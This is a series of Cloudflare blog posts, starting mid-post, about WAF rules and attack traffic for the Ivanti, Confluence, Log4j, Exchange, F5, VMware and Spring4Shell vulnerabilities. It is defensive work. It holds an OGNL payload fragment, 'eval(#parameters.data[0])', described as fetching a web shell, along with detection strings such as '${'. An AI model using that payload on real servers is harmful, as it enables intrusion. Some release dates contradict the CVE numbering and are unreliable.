Similarly, for the unauthenticated operating system command request, we received “WAF Attack Score: 19” from the AI model which also lies under the malicious request category. Worth mentioning the example scores are not fixed numbers and may vary based on the incoming attack variation.

The great news here is: customers on Enterprise and Business plans with WAF attack score enabled, along with a rule to block low scores (e.g. [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20) or ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq "attack") for Business, were already shielded from potential vulnerability exploits that were tested so far even before the vulnerability was announced.

In response to this critical vulnerability, Cloudflare released Emergency Rules on January 17, 2024, Within 24 hours after the proof of concept went public. These rules are part of its Managed Rules for the WAF, specifically targeting the threats posed by CVE-2023-46805 and an additional vulnerability, CVE-2024-21887, also related to Ivanti products. The rules, named "Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887," are developed to block attempts to exploit these vulnerabilities, providing an extra layer of security for Cloudflare users.

Since we deployed these rules, we have recorded a high level of activity. At the time of writing, the rule was triggered more than 180,000 times.

Cloudflare's response to CVE-2023-46805 and CVE-2024-21887 underscores the importance of having robust security measures in place. Organizations using Cloudflare services, particularly the WAF, are advised to ensure that their systems are updated with the latest rules and configurations to maintain optimal protection. We also recommend customers to deploy rules using Attack Score to improve their security posture. If you want to learn more about Attack Score, contact your account team.

Cloudflare's proactive approach to cybersecurity using AI to identify and stop attacks, exemplified by its response to CVE-2023-46805 and CVE-2024-21887, highlights how threats and attacks can be identified before they are made public and vulnerabilities disclosed. By continuously monitoring and rapidly responding to vulnerabilities, Cloudflare ensures that its clients remain secure in an increasingly complex digital landscape.

On 2023-10-04 at 13:00 UTC, Atlassian released details of the zero-day vulnerability described as “Privilege Escalation Vulnerability in Confluence Data Center and Server” (CVE-2023-22515), a zero-day vulnerability impacting Confluence Server and Data Center products.  

Cloudflare was warned about the vulnerability before the advisory was published and worked with Atlassian to proactively apply protective WAF rules for all customers. All Cloudflare customers, including Free, received the protection enabled by default. On 2023-10-03 14:00 UTC Cloudflare WAF team released the following managed rules to protect against the first variant of the vulnerability observed in real traffic.

When CVE-2023-22515 is exploited, an attacker could access public Confluence Data Center and Server instances to create unauthorized Confluence administrator accounts to access the instance. According to the advisory the vulnerability is assessed by Atlassian as critical. At the moment of writing a CVSS score is not yet known. More information can be found in the security advisory, including what versions of Confluence Server are affected.

The Cybersecurity and Infrastructure Security Agency (CISA) just released a report highlighting the most commonly exploited vulnerabilities of 2022. With our role as a reverse proxy to a large portion of the Internet, Cloudflare is in a unique position to observe how the Common Vulnerabilities and Exposures (CVEs) mentioned by CISA are being exploited on the Internet.

We wanted to share a bit of what we’ve learned.

Based on our analysis, two CVEs mentioned in the CISA report are responsible for the vast majority of attack traffic seen in the wild: Log4J and Atlassian Confluence Code Injection. Although CISA/CSA discuss a larger number of vulnerabilities in the same report, our data clearly suggests a major difference in exploit volume between the top two and the rest of the list.

Looking at the volume of requests detected by WAF Managed Rules that were created for the specific CVEs listed in the CISA report, we rank the vulnerabilities in order of prevalence:

Topping the list is Log4J (CVE-2021-44228). This isn’t surprising, as this is likely one of the most high impact exploits we have seen in decades — leading to full remote compromise. The second most exploited vulnerability is the Atlassian Confluence Code Injection (CVE-2022-26134).

In third place we find the combination of three CVEs targeting Microsoft Exchange servers (CVE-2021-34473, CVE-2021-31207, and CVE-2021-34523). In fourth is a BIG-IP F5 exploit (CVE-2022-1388) followed by the combination of two VMware vulnerabilities (CVE-2022-22954 and CVE-2022-22960). Our list ends with another Atlassian Confluence 0-day (CVE-2021-26084).

When comparing the attack volume for these five groups, we immediately notice that one vulnerability stands out. Log4J is more than an order of magnitude more exploited than the runner up (Atlassian Confluence Code Injection); and all the remaining CVEs are even lower. Although the CISA/CSA report groups all these vulnerabilities together, we think that there are really two groups: one dominant CVE (Log4J), and a secondary group of comparable 0-days. Each of the two groups have similar attack volume.

The chart below, in logarithmic scale, clearly shows the difference in popularity.

The first on our list is the notorious CVE-2021-44228 — better known as the Log4j vulnerability. This flaw caused significant disturbance in the cyber world in 2021, and continues to be exploited extensively.

Cloudflare released new managed rules within hours after the vulnerability was made public. We also released updated detections in the following days (blog). Overall, we released rules in three stages:

• Emergency release: December 10, 2021

• Emergency release: December 14, 2021

• Emergency release: December 16, 2021

The rules we deployed detect the exploit in four categories:

• Log4j Headers: Attack pattern in HTTP header

• Log4j Body: Attack pattern in HTTP Body

• Log4j URI: Attack Pattern in URI

• Log4j Body Obfuscation: Obfuscated Attack pattern

We have found that Log4J attacks in HTTP Headers are more common than in HTTP bodies. The graph below shows the persistence of exploit attempts for this vulnerability over time, with clear peaks and growth into July 2023 (time of writing).

Due to the high impact of this vulnerability, to step up and lead the charge for a safer, better Internet, on March 15, 2022 Cloudflare announced that all plans (including Free) would get WAF Managed Rules for high-impact vulnerabilities. These free rules tackle high-impact vulnerabilities such as the Log4J exploit, the Shellshock vulnerability, and various widespread WordPress exploits. Every business or personal website, regardless of size or budget, can protect their digital assets using Cloudflare’s WAF.

The full security advisory for Log4J published by Apache Software Foundation can be found here.

A code injection vulnerability that afflicted Atlassian Confluence was the second most exploited CVE in 2022. This exploit posed a threat to entire systems, leaving many businesses at the mercy of attackers. This is an indication of how critical knowledge-based systems have become in managing information within organizations. Attackers are targeting these systems as they recognize how  important they are.. In response, the Cloudflare WAF team rolled out two emergency releases to protect its customers:

• Emergency Release: June 4, 2022

• Emergency Release: June 7, 2022

As part of these releases, two rules were made available to all WAF users:

• Atlassian Confluence - Code Injection - CVE:CVE-2022-26134

• Atlassian Confluence - Code Injection - Extended - CVE:CVE-2022-26134

The graph below displays the number of hits received each day, showing a clear peak followed by a gradual decline as systems were patched and secured.

Both Log4J and Confluence Code Injection show some seasonality, where a higher volume of attacks is carried out between September / November 2022 until March 2023. This likely reflects campaigns that are managed by attackers that are still attempting to exploit this vulnerability (an ongoing campaign is visible towards the end of July 2023).

Security advisory for reference.

Three previously unknown bugs were chained together to achieve a Remote Code Execution (RCE) 0-day attack. Given how widely adopted Microsoft Exchange servers are, these exploits posed serious threats to data security and business operations across all industries, geographies and sectors.

Cloudflare WAF published a rule for this vulnerability with the Emergency Release: March 3, 2022 that contained the rule Microsoft Exchange SSRF and RCE vulnerability - CVE:CVE-2022-41040, CVE:CVE-2022-41082.

The trend of these attacks over the past year can be seen in the graph below.

Security advisories for reference: CVE-2021-34473, CVE-2021-31207 and CVE-2021-34523.

This particular security vulnerability can be exploited where an unauthenticated adversary has network connectivity to the BIG-IP system (the F5 product name of a group of application security and performance solutions). Either via the management interface or self-assigned IP addresses the attacker can execute unrestricted system commands.

Cloudflare did an emergency release to detect this issue (Emergency Release: May 5, 2022) with the rule Command Injection - RCE in BIG-IP - CVE:CVE-2022-1388.

There is a relatively persistent pattern of exploitation without signs of specific campaigns, with the exception of a spike occurring in late June 2023.

a

F5 security advisory for reference.

With this vulnerability, an attacker can remotely trigger a server-side template injection that may result in remote code execution. Successful exploitation allows an unauthenticated attacker with network access to the web interface to execute an arbitrary shell command as the VMware user. Later, this issue was combined with CVE-2022-22960 (which was a Local Privilege Escalation Vulnerability (LPE) issue). In combination, these two vulnerabilities allowed remote attackers to execute commands with root privileges.

Cloudflare WAF published a rule for this vulnerability: Release: May 5, 2022. Exploit attempt graph over time shown below.

VMware Security advisory.

An OGNL injection vulnerability was found that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. Cloudflare WAF performed an emergency release for this vulnerability on September 9, 2022. When compared to the other CVEs discussed in this post, we have not observed a lot of exploits over the past year.

Official security advisory.

We recommend all server admins to keep their software updated when fixes become available. Cloudflare customers — including those on our free tier — can leverage new rules addressing CVEs and 0-day threats, updated weekly in the Managed Ruleset. High-risk CVEs may even prompt emergency releases. In addition to this, Enterprise customers have access to the WAF Attack Score: an AI-powered detection feature that supplements traditional signature-based rules, identifying unknown threats and bypass attempts. With the combined strength of rule-based and AI detection, Cloudflare offers robust defense against known and emerging threats.

Cloudflare’s data is able to augment CISA’s vulnerability report — of note, we see attempts to exploit the top two vulnerabilities that are several orders of magnitude more compared to the remainder of the list. Organizations should focus their software patching efforts based on the list provided. It is, of course, important to note that all software should be patched, and good WAF implementations will ensure additional security and “buy time” for underlying systems to be secured for both existing and future vulnerabilities.

When we learned about the vulnerability, Cloudflare’s internal teams immediately engaged to ensure all our customers and our own infrastructure were protected:

• Our Web Application Firewall (WAF) teams started work on our first mitigation rules that were deployed on 2022-06-02 at 23:38 UTC for all customers.

• Our internal security team started reviewing our Confluence instances to ensure Cloudflare itself was not impacted.

According to Volexity, the vulnerability results in full unauthenticated RCE, allowing an attacker to fully take over the target application.

Active exploits of this vulnerability leverage command injections using specially crafted strings to load a malicious class file in memory, allowing attackers to subsequently plant a webshell on the target machine that they can interact with.

Once the vulnerability is exploited, attackers can implant additional malicious code such as Behinder; a custom webshell called noop.jsp, which replaces the legitimate noop.jsp file located at Confluence root>/confluence/noop.jsp; and another open source webshell called Chopper.

Once we learned of the vulnerability, we began reviewing our WAF data to identify activity related to exploitation of the vulnerability. We identified requests matching potentially malicious payloads as early as 2022-05-26 00:33 UTC, indicating that knowledge of the exploit was realized by some attackers prior to the Atlassian security advisory.

Since our mitigation rules were put in place, we have seen a large spike in activity starting from 2022-06-03 10:30 UTC — a little more than 10 hours after the new WAF rules were first deployed. This large spike coincides with the increased awareness of the vulnerability and release of public proof of concepts. Attackers are actively scanning for vulnerable applications at time of writing.

Although we have seen valid attack payloads since 2022-05-26, many payloads that started matching our initial WAF mitigation rules once the advisory was released were not valid against this specific vulnerability. Examples provided below:

The activity above indicates that actors were using scanning tools to try and identify the attack vectors. Exact knowledge of how to exploit the vulnerability may have been consolidated amongst select attackers and may not have been widespread.

The decline in WAF rule matches in the graph above after 2022-06-03 23:00 UTC is due to us releasing improved WAF rules. The new, updated rules greatly improved accuracy, reducing the number of false positives, such as the examples above.

A valid malicious URL targeting a vulnerable Confluence application is shown below:

(Where $HOSTNAME is the host of the target application.)

The URL above will run the contents of the HTTP request post body eval(#parameters.data[0]). Normally this will be a script that will download a web shell to the local server allowing the attacker to run arbitrary code on demand.

Other example URLs, omitting the schema and hostname, include:

Some of the activity we are observing is indicative of malware campaigns and botnet behavior. It is important to note that given the payload structure, other WAF rules have also been effective at mitigating particular variations of the attack. These include rule PHP100011 and PLONE0002.

We have a defense-in-depth approach which uses Cloudflare to protect Cloudflare. We had high confidence that we were not impacted by this vulnerability due to the security measures in place. We confirmed this by leveraging our detection and response capabilities to sweep all of our internal assets and logs for signs of attempted compromise.

The main actions we took in response to this incident were:

1. Gathered as much information as possible about the attack.

2. Engaged our WAF team to start working on mitigation rules for this CVE.

3. Searched our logs for any signs of compromise.

4. We searched the logs from our internal Confluence instances for any signs of attempted exploits. We supplemented our assessment with the pattern strings provided by Atlassian: "${".

5. Any matches were reviewed to find out if they could be actual exploits. We found no signs that our systems were targeted by actual exploits.

6. As soon as the WAF team was confident of the quality of the new rules, we started deploying them to all our servers to start protecting our customers as soon as possible. As we also use the WAF for our internal systems, our Confluence instances are also protected by the new WAF rules.

7. We scrutinized our Confluence servers for signs of compromise and the presence of malicious implants. No signs of compromise were detected.

8. We deployed rules to our SIEM and monitoring systems to detect any new exploitation attempt against our Confluence instances.

Cloudflare uses Confluence internally as our main wiki platform. Many of our teams use Confluence as their main knowledge-sharing platform. Our internal instances are protected by Cloudflare Access. In previous blog posts, we described how we use Access to protect internal resources. This means that every request sent to our Confluence servers must be authenticated and validated in accordance with our Access policies. No unauthenticated access is allowed.

This allowed us to be confident that only Cloudflare users are able to submit requests to our Confluence instances, thus reducing the risk of external exploitation attempts.

If you are an Atlassian customer for their on-prem products, you should patch to their latest fixed versions. We advise the following actions:

1. Add Cloudflare Access as an extra protection layer for all your websites. Easy-to-follow instructions to enable Cloudflare Access are available here.

2. Enable a WAF that includes protection for CVE-2022-26134 in front of your Confluence instances. For more information on how to enable Cloudflare's WAF and other security products, check here.

3. Check the logs from your Confluence instances for signs of exploitation attempts. Look for the strings /wiki/ and ${ in the same request.

4. Use forensic tools and check for signs of post-exploitation tools such as webshells or other malicious implants.

The following indicators are associated with activity observed in the wild by Cloudflare, as described above. These indicators can be searched for against logs to determine if there is compromise in the environment associated with the Confluence vulnerability.

Indicators of Compromise (IOC)

Indicators of Attack (IOA)

This post was updated on 5th April 2022 to include toggled rules and new rules for CVE-2022-22965

A set of high profile vulnerabilities have been identified affecting the popular Java Spring Framework and related software components - generally being referred to as Spring4Shell.

Four CVEs (Common Vulnerabilities and Exposures) have been released so far and are being actively updated as new information emerges. These vulnerabilities can result, in the worst case, in full remote code execution (RCE) compromise:

• CVE-2022-22947 - [official VMware post]

• CVE-2022-22950 - [official VMware post]

• CVE-2022-22963 - [official Spring project post]

• CVE-2022-22965 - [official Spring project post]

Customers using Java Spring and related software components, such as the Spring Cloud Gateway, should immediately review their software and update to the latest versions by following the official Spring project guidance.

The Cloudflare WAF team is actively monitoring these CVEs and has already deployed a number of new managed mitigation rules. Customers should review the rules listed below to ensure they are enabled while also patching the underlying Java Spring components.

A new rule has been developed and deployed for this CVE with an emergency release on March 29, which started blocking the vulnerability since the emergency release on the 4th, April  2022:

Managed Rule Spring - CVE:CVE-2022-22947

• WAF rule ID: e777f95584ba429796856007fbe6c869

• Legacy rule ID: 100522

Currently, available PoCs are blocked by the following rule:

Managed Rule PHP - Code Injection

• WAF rule ID: 55b100786189495c93744db0e1efdffb

• Legacy rule ID: PHP100011

Currently, available PoCs are blocked by the following rule:

Managed Rule Plone - Dangerous File Extension

• WAF rule ID: aa3411d5505b4895b547d68950a28587

• Legacy WAF ID: PLONE0001

We also deployed a new rule via an emergency release on March 31 (today at time of writing) to cover additional variations attempting to exploit this vulnerability, which started blocking since the emergency release on the 4th, April, 2022

Managed Rule Spring - Code Injection

• WAF rule ID: d58ebf5351d843d3a39a4480f2cc4e84

• Legacy WAF ID: 100524

Additionally, customers can receive protection against this CVE by deploying the Cloudflare OWASP Core Ruleset with default or better settings on our new WAF. Customers using our legacy WAF will have to configure a high OWASP sensitivity level.